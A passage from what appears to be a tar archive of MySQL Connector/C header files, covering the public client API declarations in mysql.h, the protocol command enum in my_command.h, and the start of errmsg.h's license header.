"mysql/client_plugin.h" // IWYU pragma: keep /* The client should be able to know which version it is compiled against, even if mysql.h doesn't use this information directly. */ #include "mysql_version.h" // IWYU pragma: keep // MYSQL_TIME is part of our public API. #include "mysql_time.h" // IWYU pragma: keep // The error messages are part of our public API. #include "errmsg.h" // IWYU pragma: keep #ifdef __cplusplus extern "C" { #endif extern unsigned int mysql_port; extern char *mysql_unix_port; #define CLIENT_NET_RETRY_COUNT 1 /* Retry count */ #define CLIENT_NET_READ_TIMEOUT 365 * 24 * 3600 /* Timeout on read */ #define CLIENT_NET_WRITE_TIMEOUT 365 * 24 * 3600 /* Timeout on write */ #define IS_PRI_KEY(n) ((n)&PRI_KEY_FLAG) #define IS_NOT_NULL(n) ((n)&NOT_NULL_FLAG) #define IS_BLOB(n) ((n)&BLOB_FLAG) /** Returns true if the value is a number which does not need quotes for the sql_lex.cc parser to parse correctly. */ #define IS_NUM(t) \ (((t) <= MYSQL_TYPE_INT24 && (t) != MYSQL_TYPE_TIMESTAMP) || \ (t) == MYSQL_TYPE_YEAR || (t) == MYSQL_TYPE_NEWDECIMAL) #define IS_LONGDATA(t) ((t) >= MYSQL_TYPE_TINY_BLOB && (t) <= MYSQL_TYPE_STRING) typedef struct MYSQL_FIELD { char *name; /* Name of column */ char *org_name; /* Original column name, if an alias */ char *table; /* Table of column if column was a field */ char *org_table; /* Org table name, if table was an alias */ char *db; /* Database for table */ char *catalog; /* Catalog for table */ char *def; /* Default value (set by mysql_list_fields) */ unsigned long length; /* Width of column (create length) */ unsigned long max_length; /* Max width for selected set */ unsigned int name_length; unsigned int org_name_length; unsigned int table_length; unsigned int org_table_length; unsigned int db_length; unsigned int catalog_length; unsigned int def_length; unsigned int flags; /* Div flags */ unsigned int decimals; /* Number of decimals in field */ unsigned int charsetnr; /* Character set */ enum enum_field_types type; /* Type of field. See mysql_com.h for types */ void *extension; } MYSQL_FIELD; typedef char **MYSQL_ROW; /* return data as array of strings */ typedef unsigned int MYSQL_FIELD_OFFSET; /* offset to current field */ #define MYSQL_COUNT_ERROR (~(uint64_t)0) /* backward compatibility define - to be removed eventually */ #define ER_WARN_DATA_TRUNCATED WARN_DATA_TRUNCATED typedef struct MYSQL_ROWS { struct MYSQL_ROWS *next; /* list of rows */ MYSQL_ROW data; unsigned long length; } MYSQL_ROWS; typedef MYSQL_ROWS *MYSQL_ROW_OFFSET; /* offset to current row */ struct MEM_ROOT; typedef struct MYSQL_DATA { MYSQL_ROWS *data; struct MEM_ROOT *alloc; uint64_t rows; unsigned int fields; } MYSQL_DATA; enum mysql_option { MYSQL_OPT_CONNECT_TIMEOUT, MYSQL_OPT_COMPRESS, MYSQL_OPT_NAMED_PIPE, MYSQL_INIT_COMMAND, MYSQL_READ_DEFAULT_FILE, MYSQL_READ_DEFAULT_GROUP, MYSQL_SET_CHARSET_DIR, MYSQL_SET_CHARSET_NAME, MYSQL_OPT_LOCAL_INFILE, MYSQL_OPT_PROTOCOL, MYSQL_SHARED_MEMORY_BASE_NAME, MYSQL_OPT_READ_TIMEOUT, MYSQL_OPT_WRITE_TIMEOUT, MYSQL_OPT_USE_RESULT, MYSQL_REPORT_DATA_TRUNCATION, MYSQL_OPT_RECONNECT, MYSQL_PLUGIN_DIR, MYSQL_DEFAULT_AUTH, MYSQL_OPT_BIND, MYSQL_OPT_SSL_KEY, MYSQL_OPT_SSL_CERT, MYSQL_OPT_SSL_CA, MYSQL_OPT_SSL_CAPATH, MYSQL_OPT_SSL_CIPHER, MYSQL_OPT_SSL_CRL, MYSQL_OPT_SSL_CRLPATH, MYSQL_OPT_CONNECT_ATTR_RESET, MYSQL_OPT_CONNECT_ATTR_ADD, MYSQL_OPT_CONNECT_ATTR_DELETE, MYSQL_SERVER_PUBLIC_KEY, MYSQL_ENABLE_CLEARTEXT_PLUGIN, MYSQL_OPT_CAN_HANDLE_EXPIRED_PASSWORDS, MYSQL_OPT_MAX_ALLOWED_PACKET, MYSQL_OPT_NET_BUFFER_LENGTH, MYSQL_OPT_TLS_VERSION, MYSQL_OPT_SSL_MODE, MYSQL_OPT_GET_SERVER_PUBLIC_KEY, MYSQL_OPT_RETRY_COUNT, MYSQL_OPT_OPTIONAL_RESULTSET_METADATA, MYSQL_OPT_SSL_FIPS_MODE, MYSQL_OPT_TLS_CIPHERSUITES, MYSQL_OPT_COMPRESSION_ALGORITHMS, MYSQL_OPT_ZSTD_COMPRESSION_LEVEL, MYSQL_OPT_LOAD_DATA_LOCAL_DIR, MYSQL_OPT_USER_PASSWORD, MYSQL_OPT_SSL_SESSION_DATA }; /** @todo remove the "extension", move st_mysql_options completely out of mysql.h */ struct st_mysql_options_extention; struct st_mysql_options { unsigned int connect_timeout, read_timeout, write_timeout; unsigned int port, protocol; unsigned long client_flag; char *host, *user, *password, *unix_socket, *db; struct Init_commands_array *init_commands; char *my_cnf_file, *my_cnf_group, *charset_dir, *charset_name; char *ssl_key; /* PEM key file */ char *ssl_cert; /* PEM cert file */ char *ssl_ca; /* PEM CA file */ char *ssl_capath; /* PEM directory of CA-s? */ char *ssl_cipher; /* cipher to use */ char *shared_memory_base_name; unsigned long max_allowed_packet; bool compress, named_pipe; /** The local address to bind when connecting to remote server. */ char *bind_address; /* 0 - never report, 1 - always report (default) */ bool report_data_truncation; /* function pointers for local infile support */ int (*local_infile_init)(void **, const char *, void *); int (*local_infile_read)(void *, char *, unsigned int); void (*local_infile_end)(void *); int (*local_infile_error)(void *, char *, unsigned int); void *local_infile_userdata; struct st_mysql_options_extention *extension; }; enum mysql_status { MYSQL_STATUS_READY, MYSQL_STATUS_GET_RESULT, MYSQL_STATUS_USE_RESULT, MYSQL_STATUS_STATEMENT_GET_RESULT }; enum mysql_protocol_type { MYSQL_PROTOCOL_DEFAULT, MYSQL_PROTOCOL_TCP, MYSQL_PROTOCOL_SOCKET, MYSQL_PROTOCOL_PIPE, MYSQL_PROTOCOL_MEMORY }; enum mysql_ssl_mode { SSL_MODE_DISABLED = 1, SSL_MODE_PREFERRED, SSL_MODE_REQUIRED, SSL_MODE_VERIFY_CA, SSL_MODE_VERIFY_IDENTITY }; enum mysql_ssl_fips_mode { SSL_FIPS_MODE_OFF = 0, SSL_FIPS_MODE_ON = 1, SSL_FIPS_MODE_STRICT }; typedef struct character_set { unsigned int number; /* character set number */ unsigned int state; /* character set state */ const char *csname; /* character set name */ const char *name; /* collation name */ const char *comment; /* comment */ const char *dir; /* character set directory */ unsigned int mbminlen; /* min. length for multibyte strings */ unsigned int mbmaxlen; /* max. length for multibyte strings */ } MY_CHARSET_INFO; struct MYSQL_METHODS; struct MYSQL_STMT; typedef struct MYSQL { NET net; /* Communication parameters */ unsigned char *connector_fd; /* ConnectorFd for SSL */ char *host, *user, *passwd, *unix_socket, *server_version, *host_info; char *info, *db; struct CHARSET_INFO *charset; MYSQL_FIELD *fields; struct MEM_ROOT *field_alloc; uint64_t affected_rows; uint64_t insert_id; /* id if insert on table with NEXTNR */ uint64_t extra_info; /* Not used */ unsigned long thread_id; /* Id for connection in server */ unsigned long packet_length; unsigned int port; unsigned long client_flag, server_capabilities; unsigned int protocol_version; unsigned int field_count; unsigned int server_status; unsigned int server_language; unsigned int warning_count; struct st_mysql_options options; enum mysql_status status; enum enum_resultset_metadata resultset_metadata; bool free_me; /* If free in mysql_close */ bool reconnect; /* set to 1 if automatic reconnect */ /* session-wide random string */ char scramble[SCRAMBLE_LENGTH + 1]; LIST *stmts; /* list of all statements */ const struct MYSQL_METHODS *methods; void *thd; /* Points to boolean flag in MYSQL_RES or MYSQL_STMT. We set this flag from mysql_stmt_close if close had to cancel result set of this object. */ bool *unbuffered_fetch_owner; void *extension; } MYSQL; typedef struct MYSQL_RES { uint64_t row_count; MYSQL_FIELD *fields; struct MYSQL_DATA *data; MYSQL_ROWS *data_cursor; unsigned long *lengths; /* column lengths of current row */ MYSQL *handle; /* for unbuffered reads */ const struct MYSQL_METHODS *methods; MYSQL_ROW row; /* If unbuffered read */ MYSQL_ROW current_row; /* buffer to current row */ struct MEM_ROOT *field_alloc; unsigned int field_count, current_field; bool eof; /* Used by mysql_fetch_row */ /* mysql_stmt_close() had to cancel this result */ bool unbuffered_fetch_cancelled; enum enum_resultset_metadata metadata; void *extension; } MYSQL_RES; /** Flag to indicate that COM_BINLOG_DUMP_GTID should be used rather than COM_BINLOG_DUMP in the @sa mysql_binlog_open(). */ #define MYSQL_RPL_GTID (1 << 16) /** Skip HEARBEAT events in the @sa mysql_binlog_fetch(). */ #define MYSQL_RPL_SKIP_HEARTBEAT (1 << 17) /** Flag to indicate that the heartbeat_event being generated is using the class Heartbeat_event_v2 */ #define USE_HEARTBEAT_EVENT_V2 (1 << 1) /** Struct for information about a replication stream. @sa mysql_binlog_open() @sa mysql_binlog_fetch() @sa mysql_binlog_close() */ typedef struct MYSQL_RPL { size_t file_name_length; /** Length of the 'file_name' or 0 */ const char *file_name; /** Filename of the binary log to read */ uint64_t start_position; /** Position in the binary log to */ /* start reading from */ unsigned int server_id; /** Server ID to use when identifying */ /* with the master */ unsigned int flags; /** Flags, e.g. MYSQL_RPL_GTID */ /** Size of gtid set data */ size_t gtid_set_encoded_size; /** Callback function which is called */ /* from @sa mysql_binlog_open() to */ /* fill command packet gtid set */ void (*fix_gtid_set)(struct MYSQL_RPL *rpl, unsigned char *packet_gtid_set); void *gtid_set_arg; /** GTID set data or an argument for */ /* fix_gtid_set() callback function */ unsigned long size; /** Size of the packet returned by */ /* mysql_binlog_fetch() */ const unsigned char *buffer; /** Pointer to returned data */ } MYSQL_RPL; /* Set up and bring down the server; to ensure that applications will work when linked against either the standard client library or the embedded server library, these functions should be called. */ int STDCALL mysql_server_init(int argc, char **argv, char **groups); void STDCALL mysql_server_end(void); /* mysql_server_init/end need to be called when using libmysqld or libmysqlclient (exactly, mysql_server_init() is called by mysql_init() so you don't need to call it explicitly; but you need to call mysql_server_end() to free memory). The names are a bit misleading (mysql_SERVER* to be used when using libmysqlCLIENT). So we add more general names which suit well whether you're using libmysqld or libmysqlclient. We intend to promote these aliases over the mysql_server* ones. */ #define mysql_library_init mysql_server_init #define mysql_library_end mysql_server_end /* Set up and bring down a thread; these function should be called for each thread in an application which opens at least one MySQL connection. All uses of the connection(s) should be between these function calls. */ bool STDCALL mysql_thread_init(void); void STDCALL mysql_thread_end(void); /* Functions to get information from the MYSQL and MYSQL_RES structures Should definitely be used if one uses shared libraries. */ uint64_t STDCALL mysql_num_rows(MYSQL_RES *res); unsigned int STDCALL mysql_num_fields(MYSQL_RES *res); bool STDCALL mysql_eof(MYSQL_RES *res); MYSQL_FIELD *STDCALL mysql_fetch_field_direct(MYSQL_RES *res, unsigned int fieldnr); MYSQL_FIELD *STDCALL mysql_fetch_fields(MYSQL_RES *res); MYSQL_ROW_OFFSET STDCALL mysql_row_tell(MYSQL_RES *res); MYSQL_FIELD_OFFSET STDCALL mysql_field_tell(MYSQL_RES *res); enum enum_resultset_metadata STDCALL mysql_result_metadata(MYSQL_RES *result); unsigned int STDCALL mysql_field_count(MYSQL *mysql); uint64_t STDCALL mysql_affected_rows(MYSQL *mysql); uint64_t STDCALL mysql_insert_id(MYSQL *mysql); unsigned int STDCALL mysql_errno(MYSQL *mysql); const char *STDCALL mysql_error(MYSQL *mysql); const char *STDCALL mysql_sqlstate(MYSQL *mysql); unsigned int STDCALL mysql_warning_count(MYSQL *mysql); const char *STDCALL mysql_info(MYSQL *mysql); unsigned long STDCALL mysql_thread_id(MYSQL *mysql); const char *STDCALL mysql_character_set_name(MYSQL *mysql); int STDCALL mysql_set_character_set(MYSQL *mysql, const char *csname); MYSQL *STDCALL mysql_init(MYSQL *mysql); #if defined(__cplusplus) && (__cplusplus >= 201402L) [[deprecated("Use mysql_options() instead.")]] #endif bool STDCALL mysql_ssl_set(MYSQL *mysql, const char *key, const char *cert, const char *ca, const char *capath, const char *cipher); const char *STDCALL mysql_get_ssl_cipher(MYSQL *mysql); bool STDCALL mysql_get_ssl_session_reused(MYSQL *mysql); void *STDCALL mysql_get_ssl_session_data(MYSQL *mysql, unsigned int n_ticket, unsigned int *out_len); bool STDCALL mysql_free_ssl_session_data(MYSQL *mysql, void *data); bool STDCALL mysql_change_user(MYSQL *mysql, const char *user, const char *passwd, const char *db); MYSQL *STDCALL mysql_real_connect(MYSQL *mysql, const char *host, const char *user, const char *passwd, const char *db, unsigned int port, const char *unix_socket, unsigned long clientflag); int STDCALL mysql_select_db(MYSQL *mysql, const char *db); int STDCALL mysql_query(MYSQL *mysql, const char *q); int STDCALL mysql_send_query(MYSQL *mysql, const char *q, unsigned long length); int STDCALL mysql_real_query(MYSQL *mysql, const char *q, unsigned long length); MYSQL_RES *STDCALL mysql_store_result(MYSQL *mysql); MYSQL_RES *STDCALL mysql_use_result(MYSQL *mysql); enum net_async_status STDCALL mysql_real_connect_nonblocking( MYSQL *mysql, const char *host, const char *user, const char *passwd, const char *db, unsigned int port, const char *unix_socket, unsigned long clientflag); enum net_async_status STDCALL mysql_send_query_nonblocking( MYSQL *mysql, const char *query, unsigned long length); enum net_async_status STDCALL mysql_real_query_nonblocking( MYSQL *mysql, const char *query, unsigned long length); enum net_async_status STDCALL mysql_store_result_nonblocking(MYSQL *mysql, MYSQL_RES **result); enum net_async_status STDCALL mysql_next_result_nonblocking(MYSQL *mysql); enum net_async_status STDCALL mysql_select_db_nonblocking(MYSQL *mysql, const char *db, bool *error); void STDCALL mysql_get_character_set_info(MYSQL *mysql, MY_CHARSET_INFO *charset); int STDCALL mysql_session_track_get_first(MYSQL *mysql, enum enum_session_state_type type, const char **data, size_t *length); int STDCALL mysql_session_track_get_next(MYSQL *mysql, enum enum_session_state_type type, const char **data, size_t *length); /* local infile support */ #define LOCAL_INFILE_ERROR_LEN 512 void mysql_set_local_infile_handler( MYSQL *mysql, int (*local_infile_init)(void **, const char *, void *), int (*local_infile_read)(void *, char *, unsigned int), void (*local_infile_end)(void *), int (*local_infile_error)(void *, char *, unsigned int), void *); void mysql_set_local_infile_default(MYSQL *mysql); int STDCALL mysql_shutdown(MYSQL *mysql, enum mysql_enum_shutdown_level shutdown_level); int STDCALL mysql_dump_debug_info(MYSQL *mysql); int STDCALL mysql_refresh(MYSQL *mysql, unsigned int refresh_options); int STDCALL mysql_kill(MYSQL *mysql, unsigned long pid); int STDCALL mysql_set_server_option(MYSQL *mysql, enum enum_mysql_set_option option); int STDCALL mysql_ping(MYSQL *mysql); const char *STDCALL mysql_stat(MYSQL *mysql); const char *STDCALL mysql_get_server_info(MYSQL *mysql); const char *STDCALL mysql_get_client_info(void); unsigned long STDCALL mysql_get_client_version(void); const char *STDCALL mysql_get_host_info(MYSQL *mysql); unsigned long STDCALL mysql_get_server_version(MYSQL *mysql); unsigned int STDCALL mysql_get_proto_info(MYSQL *mysql); MYSQL_RES *STDCALL mysql_list_dbs(MYSQL *mysql, const char *wild); MYSQL_RES *STDCALL mysql_list_tables(MYSQL *mysql, const char *wild); MYSQL_RES *STDCALL mysql_list_processes(MYSQL *mysql); int STDCALL mysql_options(MYSQL *mysql, enum mysql_option option, const void *arg); int STDCALL mysql_options4(MYSQL *mysql, enum mysql_option option, const void *arg1, const void *arg2); int STDCALL mysql_get_option(MYSQL *mysql, enum mysql_option option, const void *arg); void STDCALL mysql_free_result(MYSQL_RES *result); enum net_async_status STDCALL mysql_free_result_nonblocking(MYSQL_RES *result); void STDCALL mysql_data_seek(MYSQL_RES *result, uint64_t offset); MYSQL_ROW_OFFSET STDCALL mysql_row_seek(MYSQL_RES *result, MYSQL_ROW_OFFSET offset); MYSQL_FIELD_OFFSET STDCALL mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset); MYSQL_ROW STDCALL mysql_fetch_row(MYSQL_RES *result); enum net_async_status STDCALL mysql_fetch_row_nonblocking(MYSQL_RES *res, MYSQL_ROW *row); unsigned long *STDCALL mysql_fetch_lengths(MYSQL_RES *result); MYSQL_FIELD *STDCALL mysql_fetch_field(MYSQL_RES *result); MYSQL_RES *STDCALL mysql_list_fields(MYSQL *mysql, const char *table, const char *wild); unsigned long STDCALL mysql_escape_string(char *to, const char *from, unsigned long from_length); unsigned long STDCALL mysql_hex_string(char *to, const char *from, unsigned long from_length); unsigned long STDCALL mysql_real_escape_string(MYSQL *mysql, char *to, const char *from, unsigned long length); unsigned long STDCALL mysql_real_escape_string_quote(MYSQL *mysql, char *to, const char *from, unsigned long length, char quote); void STDCALL mysql_debug(const char *debug); void STDCALL myodbc_remove_escape(MYSQL *mysql, char *name); unsigned int STDCALL mysql_thread_safe(void); bool STDCALL mysql_read_query_result(MYSQL *mysql); int STDCALL mysql_reset_connection(MYSQL *mysql); int STDCALL mysql_binlog_open(MYSQL *mysql, MYSQL_RPL *rpl); int STDCALL mysql_binlog_fetch(MYSQL *mysql, MYSQL_RPL *rpl); void STDCALL mysql_binlog_close(MYSQL *mysql, MYSQL_RPL *rpl); /* The following definitions are added for the enhanced client-server protocol */ /* statement state */ enum enum_mysql_stmt_state { MYSQL_STMT_INIT_DONE = 1, MYSQL_STMT_PREPARE_DONE, MYSQL_STMT_EXECUTE_DONE, MYSQL_STMT_FETCH_DONE }; /* This structure is used to define bind information, and internally by the client library. Public members with their descriptions are listed below (conventionally `On input' refers to the binds given to mysql_stmt_bind_param, `On output' refers to the binds given to mysql_stmt_bind_result): buffer_type - One of the MYSQL_* types, used to describe the host language type of buffer. On output: if column type is different from buffer_type, column value is automatically converted to buffer_type before it is stored in the buffer. buffer - On input: points to the buffer with input data. On output: points to the buffer capable to store output data. The type of memory pointed by buffer must correspond to buffer_type. See the correspondence table in the comment to mysql_stmt_bind_param. The two above members are mandatory for any kind of bind. buffer_length - the length of the buffer. You don't have to set it for any fixed length buffer: float, double, int, etc. It must be set however for variable-length types, such as BLOBs or STRINGs. length - On input: in case when lengths of input values are different for each execute, you can set this to point at a variable containing value length. This way the value length can be different in each execute. If length is not NULL, buffer_length is not used. Note, length can even point at buffer_length if you keep bind structures around while fetching: this way you can change buffer_length before each execution, everything will work ok. On output: if length is set, mysql_stmt_fetch will write column length into it. is_null - On input: points to a boolean variable that should be set to TRUE for NULL values. This member is useful only if your data may be NULL in some but not all cases. If your data is never NULL, is_null should be set to 0. If your data is always NULL, set buffer_type to MYSQL_TYPE_NULL, and is_null will not be used. is_unsigned - On input: used to signify that values provided for one of numeric types are unsigned. On output describes signedness of the output buffer. If, taking into account is_unsigned flag, column data is out of range of the output buffer, data for this column is regarded truncated. Note that this has no correspondence to the sign of result set column, if you need to find it out use mysql_stmt_result_metadata. error - where to write a truncation error if it is present. possible error value is: 0 no truncation 1 value is out of range or buffer is too small Please note that MYSQL_BIND also has internals members. */ typedef struct MYSQL_BIND { unsigned long *length; /* output length pointer */ bool *is_null; /* Pointer to null indicator */ void *buffer; /* buffer to get/put data */ /* set this if you want to track data truncations happened during fetch */ bool *error; unsigned char *row_ptr; /* for the current data position */ void (*store_param_func)(NET *net, struct MYSQL_BIND *param); void (*fetch_result)(struct MYSQL_BIND *, MYSQL_FIELD *, unsigned char **row); void (*skip_result)(struct MYSQL_BIND *, MYSQL_FIELD *, unsigned char **row); /* output buffer length, must be set when fetching str/binary */ unsigned long buffer_length; unsigned long offset; /* offset position for char/binary fetch */ unsigned long length_value; /* Used if length is 0 */ unsigned int param_number; /* For null count and error messages */ unsigned int pack_length; /* Internal length for packed data */ enum enum_field_types buffer_type; /* buffer type */ bool error_value; /* used if error is 0 */ bool is_unsigned; /* set if integer type is unsigned */ bool long_data_used; /* If used with mysql_send_long_data */ bool is_null_value; /* Used if is_null is 0 */ void *extension; } MYSQL_BIND; struct MYSQL_STMT_EXT; /* statement handler */ typedef struct MYSQL_STMT { struct MEM_ROOT *mem_root; /* root allocations */ LIST list; /* list to keep track of all stmts */ MYSQL *mysql; /* connection handle */ MYSQL_BIND *params; /* input parameters */ MYSQL_BIND *bind; /* output parameters */ MYSQL_FIELD *fields; /* result set metadata */ MYSQL_DATA result; /* cached result set */ MYSQL_ROWS *data_cursor; /* current row in cached result */ /* mysql_stmt_fetch() calls this function to fetch one row (it's different for buffered, unbuffered and cursor fetch). */ int (*read_row_func)(struct MYSQL_STMT *stmt, unsigned char **row); /* copy of mysql->affected_rows after statement execution */ uint64_t affected_rows; uint64_t insert_id; /* copy of mysql->insert_id */ unsigned long stmt_id; /* Id for prepared statement */ unsigned long flags; /* i.e. type of cursor to open */ unsigned long prefetch_rows; /* number of rows per one COM_FETCH */ /* Copied from mysql->server_status after execute/fetch to know server-side cursor status for this statement. */ unsigned int server_status; unsigned int last_errno; /* error code */ unsigned int param_count; /* input parameter count */ unsigned int field_count; /* number of columns in result set */ enum enum_mysql_stmt_state state; /* statement state */ char last_error[MYSQL_ERRMSG_SIZE]; /* error message */ char sqlstate[SQLSTATE_LENGTH + 1]; /* Types of input parameters should be sent to server */ bool send_types_to_server; bool bind_param_done; /* input buffers were supplied */ unsigned char bind_result_done; /* output buffers were supplied */ /* mysql_stmt_close() had to cancel this result */ bool unbuffered_fetch_cancelled; /* Is set to true if we need to calculate field->max_length for metadata fields when doing mysql_stmt_store_result. */ bool update_max_length; struct MYSQL_STMT_EXT *extension; } MYSQL_STMT; enum enum_stmt_attr_type { /* When doing mysql_stmt_store_result calculate max_length attribute of statement metadata. This is to be consistent with the old API, where this was done automatically. In the new API we do that only by request because it slows down mysql_stmt_store_result sufficiently. */ STMT_ATTR_UPDATE_MAX_LENGTH, /* unsigned long with combination of cursor flags (read only, for update, etc) */ STMT_ATTR_CURSOR_TYPE, /* Amount of rows to retrieve from server per one fetch if using cursors. Accepts unsigned long attribute in the range 1 - ulong_max */ STMT_ATTR_PREFETCH_ROWS }; bool STDCALL mysql_bind_param(MYSQL *mysql, unsigned n_params, MYSQL_BIND *binds, const char **names); MYSQL_STMT *STDCALL mysql_stmt_init(MYSQL *mysql); int STDCALL mysql_stmt_prepare(MYSQL_STMT *stmt, const char *query, unsigned long length); int STDCALL mysql_stmt_execute(MYSQL_STMT *stmt); int STDCALL mysql_stmt_fetch(MYSQL_STMT *stmt); int STDCALL mysql_stmt_fetch_column(MYSQL_STMT *stmt, MYSQL_BIND *bind_arg, unsigned int column, unsigned long offset); int STDCALL mysql_stmt_store_result(MYSQL_STMT *stmt); unsigned long STDCALL mysql_stmt_param_count(MYSQL_STMT *stmt); bool STDCALL mysql_stmt_attr_set(MYSQL_STMT *stmt, enum enum_stmt_attr_type attr_type, const void *attr); bool STDCALL mysql_stmt_attr_get(MYSQL_STMT *stmt, enum enum_stmt_attr_type attr_type, void *attr); bool STDCALL mysql_stmt_bind_param(MYSQL_STMT *stmt, MYSQL_BIND *bnd); bool STDCALL mysql_stmt_bind_result(MYSQL_STMT *stmt, MYSQL_BIND *bnd); bool STDCALL mysql_stmt_close(MYSQL_STMT *stmt); bool STDCALL mysql_stmt_reset(MYSQL_STMT *stmt); bool STDCALL mysql_stmt_free_result(MYSQL_STMT *stmt); bool STDCALL mysql_stmt_send_long_data(MYSQL_STMT *stmt, unsigned int param_number, const char *data, unsigned long length); MYSQL_RES *STDCALL mysql_stmt_result_metadata(MYSQL_STMT *stmt); MYSQL_RES *STDCALL mysql_stmt_param_metadata(MYSQL_STMT *stmt); unsigned int STDCALL mysql_stmt_errno(MYSQL_STMT *stmt); const char *STDCALL mysql_stmt_error(MYSQL_STMT *stmt); const char *STDCALL mysql_stmt_sqlstate(MYSQL_STMT *stmt); MYSQL_ROW_OFFSET STDCALL mysql_stmt_row_seek(MYSQL_STMT *stmt, MYSQL_ROW_OFFSET offset); MYSQL_ROW_OFFSET STDCALL mysql_stmt_row_tell(MYSQL_STMT *stmt); void STDCALL mysql_stmt_data_seek(MYSQL_STMT *stmt, uint64_t offset); uint64_t STDCALL mysql_stmt_num_rows(MYSQL_STMT *stmt); uint64_t STDCALL mysql_stmt_affected_rows(MYSQL_STMT *stmt); uint64_t STDCALL mysql_stmt_insert_id(MYSQL_STMT *stmt); unsigned int STDCALL mysql_stmt_field_count(MYSQL_STMT *stmt); bool STDCALL mysql_commit(MYSQL *mysql); bool STDCALL mysql_rollback(MYSQL *mysql); bool STDCALL mysql_autocommit(MYSQL *mysql, bool auto_mode); bool STDCALL mysql_more_results(MYSQL *mysql); int STDCALL mysql_next_result(MYSQL *mysql); int STDCALL mysql_stmt_next_result(MYSQL_STMT *stmt); void STDCALL mysql_close(MYSQL *sock); /* Public key reset */ void STDCALL mysql_reset_server_public_key(void); /* status return codes */ #define MYSQL_NO_DATA 100 #define MYSQL_DATA_TRUNCATED 101 #define mysql_reload(mysql) mysql_refresh((mysql), REFRESH_GRANT) #define HAVE_MYSQL_REAL_CONNECT MYSQL *STDCALL mysql_real_connect_dns_srv(MYSQL *mysql, const char *dns_srv_name, const char *user, const char *passwd, const char *db, unsigned long client_flag); #ifdef __cplusplus } #endif #endif /* _mysql_h */ mysql/my_command.h 0000644 00000010564 15246445046 0010225 0 ustar 00 /* Copyright (c) 2015, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef _mysql_command_h #define _mysql_command_h /** @file include/my_command.h */ /** @enum enum_server_command @brief A list of all MySQL protocol commands. These are the top level commands the server can receive while it listens for a new command in ::dispatch_command @par Warning Add new commands to the end of this list, otherwise old servers won't be able to handle them as 'unsupported'. */ enum enum_server_command { /** Currently refused by the server. See ::dispatch_command. Also used internally to mark the start of a session. */ COM_SLEEP, COM_QUIT, /**< See @ref page_protocol_com_quit */ COM_INIT_DB, /**< See @ref page_protocol_com_init_db */ COM_QUERY, /**< See @ref page_protocol_com_query */ COM_FIELD_LIST, /**< Deprecated. See @ref page_protocol_com_field_list */ COM_CREATE_DB, /**< Currently refused by the server. See ::dispatch_command */ COM_DROP_DB, /**< Currently refused by the server. See ::dispatch_command */ COM_REFRESH, /**< Deprecated. See @ref page_protocol_com_refresh */ COM_DEPRECATED_1, /**< Deprecated, used to be COM_SHUTDOWN */ COM_STATISTICS, /**< See @ref page_protocol_com_statistics */ COM_PROCESS_INFO, /**< Deprecated. See @ref page_protocol_com_process_info */ COM_CONNECT, /**< Currently refused by the server. */ COM_PROCESS_KILL, /**< Deprecated. See @ref page_protocol_com_process_kill */ COM_DEBUG, /**< See @ref page_protocol_com_debug */ COM_PING, /**< See @ref page_protocol_com_ping */ COM_TIME, /**< Currently refused by the server. */ COM_DELAYED_INSERT, /**< Functionality removed. */ COM_CHANGE_USER, /**< See @ref page_protocol_com_change_user */ COM_BINLOG_DUMP, /**< See @ref page_protocol_com_binlog_dump */ COM_TABLE_DUMP, COM_CONNECT_OUT, COM_REGISTER_SLAVE, COM_STMT_PREPARE, /**< See @ref page_protocol_com_stmt_prepare */ COM_STMT_EXECUTE, /**< See @ref page_protocol_com_stmt_execute */ /** See @ref page_protocol_com_stmt_send_long_data */ COM_STMT_SEND_LONG_DATA, COM_STMT_CLOSE, /**< See @ref page_protocol_com_stmt_close */ COM_STMT_RESET, /**< See @ref page_protocol_com_stmt_reset */ COM_SET_OPTION, /**< See @ref page_protocol_com_set_option */ COM_STMT_FETCH, /**< See @ref page_protocol_com_stmt_fetch */ /** Currently refused by the server. See ::dispatch_command. Also used internally to mark the session as a "daemon", i.e. non-client THD. Currently the scheduler and the GTID code does use this state. These threads won't be killed by `KILL` @sa Event_scheduler::start, ::init_thd, ::kill_one_thread, ::Find_thd_with_id */ COM_DAEMON, COM_BINLOG_DUMP_GTID, COM_RESET_CONNECTION, /**< See @ref page_protocol_com_reset_connection */ COM_CLONE, COM_SUBSCRIBE_GROUP_REPLICATION_STREAM, /* don't forget to update std::string Command_names::m_names[] in sql_parse.cc */ /* Must be last */ COM_END /**< Not a real command. Refused. */ }; #endif /* _mysql_command_h */ mysql/errmsg.h 0000644 00000013225 15246445046 0007376 0 ustar 00 #ifndef ERRMSG_INCLUDED #define ERRMSG_INCLUDED /* Copyright (c) 2000, 2025, Oracle and/or its affiliates. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is designed to work with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have either included with the program or referenced in the documentation. Without limiting anything contained in the foregoing, this file, which is part of C Driver for MySQL (Connector/C), is also subject to the Universal FOSS Exception, version 1.0, a copy of which can be found at http://oss.oracle.com/licenses/universal-foss-exception. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /** @file include/errmsg.h Error messages for MySQL clients. These are constant and use the CR_ prefix. <mysqlclient_ername.h> will contain auto-generated mappings containing the symbolic name and the number from this file, and the english error messages in 